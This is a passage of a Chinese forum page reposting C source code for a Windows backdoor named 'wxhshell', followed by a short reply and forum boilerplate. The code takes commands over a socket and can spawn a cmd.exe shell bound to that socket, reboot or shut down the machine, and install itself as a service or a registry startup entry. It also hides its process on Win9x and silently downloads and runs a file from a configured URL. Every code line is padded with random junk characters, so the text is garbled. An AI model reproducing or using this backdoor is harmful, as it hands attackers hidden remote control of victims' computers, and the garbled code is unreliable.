  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ <`SUBI  
  } &"gX 7cK8  
  else { wbcip8<t  
n'{jc 6&|  
    switch(cmd[0]) { x=L"qC9f/  
  /wJ4hHY  
  // 帮助 $ BgaLJs/O  
  case '?': { j6~`C ?(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #a~BigZ[G  
    break; f(eXny@Y  
  } ';8 ,RTe  
  // 安装 X[H.t$w5A  
  case 'i': { 7-n HPDp'  
    if(Install()) V9}\0joM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eq8faC5  
    else km5gO|V>m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fp\mBei  
    break; <YEKbnw$o  
    } u9~Ncz  
  // 卸载 =_iYT044p  
  case 'r': { QRKP;aYt  
    if(Uninstall()) *{k{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IDw`k[k  
    else E'D16Rhp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &{glwVKV  
    break; NB'G{),)Z  
    } qLb~^'<iD  
  // 显示 wxhshell 所在路径 \b"|p%CL8  
  case 'p': { Qjnh;uBO  
    char svExeFile[MAX_PATH]; IA Ma  
    strcpy(svExeFile,"\n\r"); -AD` (b7q  
      strcat(svExeFile,ExeFile); '%ZKvZ-  
        send(wsh,svExeFile,strlen(svExeFile),0); _Li.}g@Bd  
    break; S^|`*%pq  
    } qzA_ ~=g  
  // 重启 )B&`<1Oie  
  case 'b': { +zk5du^gZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x7^VU5w#  
    if(Boot(REBOOT)) 2dKt}o>   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MaD|X_g  
    else { =-/'$7R,  
    closesocket(wsh); mbX'*up  
    ExitThread(0); iRkUL]H@&  
    } A-3^~aEgx  
    break; J(!=Dno  
    } iHc(e(CB<  
  // 关机 x\~ <8o  
  case 'd': { ):Z #!O<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oMLs22Do?  
    if(Boot(SHUTDOWN)) p^q/u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pV (Mh[ }P  
    else { YU+P+m2X  
    closesocket(wsh); +aM[!pW(e  
    ExitThread(0); st)v'ce,  
    } W.cc!8  
    break; $8&Y(`  
    } )6X-m9.X  
  // 获取shell -zJ V(`  
  case 's': { {{_v.d~1  
    CmdShell(wsh); [*(1~PrlO,  
    closesocket(wsh); 1BW9,Xr  
    ExitThread(0); edcz%IOM(  
    break; D*VO;?D  
  } ntPj9#lf  
  // 退出 +$VDV4l  
  case 'x': { u {\>iQ   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P2`F" Qsq  
    CloseIt(wsh); (;05=DsO  
    break; ik)u/r DW  
    } [N~-9  
  // 离开 m{Uh{G$  
  case 'q': { :BV$3]y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nVgvn2N/  
    closesocket(wsh); SDSP4W5  
    WSACleanup(); tq~f9EvC  
    exit(1); LY)Wwl*wc  
    break; S *J{  
        } J@<f*  
  } %(6+{'j~#  
  } LE5N2k  
:%Iv<d<  
  // 提示信息 J"GsdLG.-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qc)+T_m  
} tl*v(ZW  
  } \}kR'l  
gpzFY"MS=  
  return; {jR3D!hK  
} j r .{M  
d_&pxy? >  
// shell模块句柄 o+ {i26%  
int CmdShell(SOCKET sock) #?D[WTV  
{ >d"\  
STARTUPINFO si; i?@7>Ca  
ZeroMemory(&si,sizeof(si)); Evg#sPu\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KVEc:<|x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NYg&8s.  
PROCESS_INFORMATION ProcessInfo; m8F \ESL  
char cmdline[]="cmd"; e]; IQ|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |E$q S)y  
  return 0; }W!w  
} a;U)#*(5|v  
JgP%4)]LV  
// 自身启动模式 A/}[Z\C  
int StartFromService(void) s m G?y~  
{ 5eF tcK  
typedef struct ,|?#+O{  
{ K%/\XnCY  
  DWORD ExitStatus; gN(kRhp  
  DWORD PebBaseAddress; +8 \?7,FY  
  DWORD AffinityMask; <_*5BO  
  DWORD BasePriority; 5&L*'kV@  
  ULONG UniqueProcessId; 'x? |tKzd  
  ULONG InheritedFromUniqueProcessId; 8dt=@pwx&  
}   PROCESS_BASIC_INFORMATION; mRyf+O[  
+jq@!P"}d  
PROCNTQSIP NtQueryInformationProcess; =^*EM<WG)  
%RF$Y=c'C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wouk~>Jft  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n!X%i+|4x  
HpUJ_pZ  
  HANDLE             hProcess; o.|36#Fa  
  PROCESS_BASIC_INFORMATION pbi; o>d0R w4h  
?/hS1yD;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N.E{6_{S  
  if(NULL == hInst ) return 0; n[y^S3}%;  
S{]3e-?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =x(k)RTDu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^c.pvC"4j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rP"Y.;s  
y/_=  
  if (!NtQueryInformationProcess) return 0; }7{( o-  
##F$8d)q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9PO5GYU  
  if(!hProcess) return 0; 4XJ']M(5;  
G\k&s F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KMfRMc&  
o@j!JI&  
  CloseHandle(hProcess); =Ov,7<8o  
[ 4IqHe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~=HPqe8  
if(hProcess==NULL) return 0; Sa.nUj{M=  
SbMRrWy  
HMODULE hMod; JW2f 6!b  
char procName[255]; (8o;Cm  
unsigned long cbNeeded; .9g :-hv  
tx+P@9M_Aq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S}0-2T[  
&A/b9GW^-  
  CloseHandle(hProcess); <.BY=z=H  
`2V{]F  
if(strstr(procName,"services")) return 1; // 以服务启动 8<Yv:8%B6  
> 9z-/e  
  return 0; // 注册表启动 vKdS1Dn1  
} D0S^Msk9L  
~WV1t][  
// 主模块 k@n L(2  
int StartWxhshell(LPSTR lpCmdLine) "OkZ [E)  
{ DSp~k)  
  SOCKET wsl; :c )R6=v  
BOOL val=TRUE; UaQW<6+  
  int port=0; z1tCSt}7f  
  struct sockaddr_in door; ^n4aoj  
l_+q a6C*  
  if(wscfg.ws_autoins) Install(); xZV|QVY;  
b!"qbC1  
port=atoi(lpCmdLine); +[S<"}ls7  
#Ak9f-pf  
if(port<=0) port=wscfg.ws_port; 9nlj{(  
G2c\"[N1/  
  WSADATA data; L-q)48+^k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hA&m G33  
%){/O}I]>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -,mV~y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NP~3!b  
  door.sin_family = AF_INET; ^$oEM0h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fG.6S"|M  
  door.sin_port = htons(port); +>a(9r|:  
es+ZPX>Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L!ms{0rJ  
closesocket(wsl); * "?,.  
return 1; '?{L gj^R  
} -I#<?=0B  
m,w^,)  
  if(listen(wsl,2) == INVALID_SOCKET) { }>YEtA  
closesocket(wsl); ^QHgc_oDm  
return 1; pMUUF5  
} 6BXZGE  
  Wxhshell(wsl); pm=s  
  WSACleanup(); UK@hnQU8`  
EW]8k@&g  
return 0; =3 ;! 5P  
`VglE?M  
} />PH{ l  
=fhRyU:C[z  
// 以NT服务方式启动 D42!#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |*]<*qnZt  
{ p8&rl|z|  
DWORD   status = 0; 1x+w|h  
  DWORD   specificError = 0xfffffff; Zjc 0R   
!|"LAr9u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "Q tkNy%E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `<R^ZL,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -b  )~  
  serviceStatus.dwWin32ExitCode     = 0; }Q,BI*}*  
  serviceStatus.dwServiceSpecificExitCode = 0; s cd}{Y  
  serviceStatus.dwCheckPoint       = 0; 3%N!omAe  
  serviceStatus.dwWaitHint       = 0; N{!@M_C^%R  
A_J!VXq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nlm3RxSn  
  if (hServiceStatusHandle==0) return; }:b) =fs  
c&SSf_0O*  
status = GetLastError(); Y#U0g|UDn  
  if (status!=NO_ERROR) W[73q>'  
{ 7Uh/Gl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D;DI8.4`N  
    serviceStatus.dwCheckPoint       = 0; dFnu&u"  
    serviceStatus.dwWaitHint       = 0; P>*`<$FR  
    serviceStatus.dwWin32ExitCode     = status; `DP4u\6_  
    serviceStatus.dwServiceSpecificExitCode = specificError; {E1^Wn1M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dJ{'b '#  
    return; <Lq.J`|+  
  } ~c>]kL(,  
C7 9~@%T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rd1I$| Y  
  serviceStatus.dwCheckPoint       = 0; {8~xFYc:  
  serviceStatus.dwWaitHint       = 0; <a D}Ko(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0INlo   
} M8FC-zFs  
RUV:   
// 处理NT服务事件,比如:启动、停止 F @Wb<+0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) il:RE8  
{ Qu|<1CrZj]  
switch(fdwControl) CX>QP&Gj  
{ <gY.2#6C\%  
case SERVICE_CONTROL_STOP: ?NUDHUn_  
  serviceStatus.dwWin32ExitCode = 0; Z&J.8A]L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8d>>r69$pa  
  serviceStatus.dwCheckPoint   = 0; Aq&H-g]s  
  serviceStatus.dwWaitHint     = 0; j sw0"d(  
  { >t $^U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qI1J M =  
  } lXrAsm$  
  return; sYyya:ykxT  
case SERVICE_CONTROL_PAUSE: *U|2u+| F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <%LN3T  
  break; I h 19&D  
case SERVICE_CONTROL_CONTINUE: "nn>I}jK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hr GfA  
  break; (#r>v h(  
case SERVICE_CONTROL_INTERROGATE: 9J f.Ls  
  break; #)<WQZ)  
}; :c&F\Q=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pQBhheiM  
} 9%bqY9NFd  
W}>wRy  
// 标准应用程序主函数 /y5a~3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +{ {'3=x9  
{ *JY2vq  
aK'%E3!~=x  
// 获取操作系统版本 8$6^S{M3  
OsIsNt=GetOsVer(); !K_ ke h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7|pF (sb0  
jb!15Vlt"  
  // 从命令行安装 @ u2 P&|:{  
  if(strpbrk(lpCmdLine,"iI")) Install(); |(UkI?V  
!XrnD#  
  // 下载执行文件 fGDjX!3-S  
if(wscfg.ws_downexe) { *Zk$P.]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H=>;M j  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xx=c'j<  
} !>QD42  
X!/  
if(!OsIsNt) { aQ.mvuMa7'  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qj/.x#T  
HideProc(); FTZaN1%`  
StartWxhshell(lpCmdLine); oxgh;v*  
} c *]6>50  
else sT%^W  
  if(StartFromService()) oi/bp#(fa  
  // 以服务方式启动 ADVHi3b  
  StartServiceCtrlDispatcher(DispatchTable); P{h$> 6c  
else Bis'59?U_  
  // 普通方式启动 :k7h"w  
  StartWxhshell(lpCmdLine); YWUCrnr  
hG%J:}  
return 0; }SF<. A  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八